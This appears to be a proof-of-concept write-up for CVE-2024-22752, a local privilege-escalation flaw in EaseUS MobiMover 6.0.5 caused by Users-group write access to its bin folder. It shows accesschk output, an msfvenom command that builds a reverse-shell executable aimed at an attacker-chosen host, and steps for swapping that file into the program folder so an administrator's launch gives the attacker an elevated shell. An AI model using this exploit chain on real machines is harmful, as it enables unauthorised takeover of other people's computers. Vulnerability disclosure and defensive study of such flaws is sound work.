CVE-2024-22752 PoC — EaseUS MobiMover 安全漏洞

Description

Security Vulnerabilities of Software Programs and Web Applications

介绍

# EaseUS MobiMover 6.0.5 Build 21620 - Insecure Files and Folders Permissions
MobiMoverUILaunch.exe  suffers from an elevation of privileges vulnerability which can be used by an "Authenticated User" to modify the executable file of the service with a binary of his choice under bin folder . The vulnerability exist due to weak set of permissions being granted to the "Authenticated Users Group" which grants the (M) Flag aka "Modify Privilege"

![alt text](https://i.imgur.com/X4VIUbq.png)

Vendor Homepage: https://www.easeus.com/ <br/>
Software Link : https://down.easeus.com/product/mobimover_trial_setup<br/>
Google Drive: https://drive.google.com/file/d/1tqP00IV-WzqNpyE1Rnqwdg_44RxOhINQ/view?usp=sharing <br/>
POC video: https://www.youtube.com/watch?v=FR4cQm-z4Gw </br>


#PoC
```
C:\Users\creatigon>accesschk -uwvqd "C:\Program Files (x86)\EaseUS\EaseUS MobiMover\bin"

Accesschk v6.15 - Reports effective permissions for securable objects
Copyright (C) 2006-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

C:\Program Files (x86)\EaseUS\EaseUS MobiMover\bin
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Users
        FILE_ALL_ACCESS
  RW NT SERVICE\TrustedInstaller
        FILE_ALL_ACCESS
  RW NT AUTHORITY\SYSTEM
        FILE_ALL_ACCESS
  RW BUILTIN\Administrators
        FILE_ALL_ACCESS
```

1. Create malicious binary file on kali linux with msfvenom <br/>
```msfvenom -f exe -p windows/x64/shell_revese_tcp LHOST=<IP> LPORT=<PORT> -f exe -o prepare.exe```

2. Transfer created 'prepare.exe' to the Windows Host from Kali as low level user access <br/>
3. Move the created 'prepare.exe' binary file to the 'C:\Program Files (x86)\EaseUS\EaseUS MobiMover\bin\prepare.exe' to replace the old one as low level user access <br/>
4. When Administrator run the application,you will get reverse shell as administrator <br/>

   

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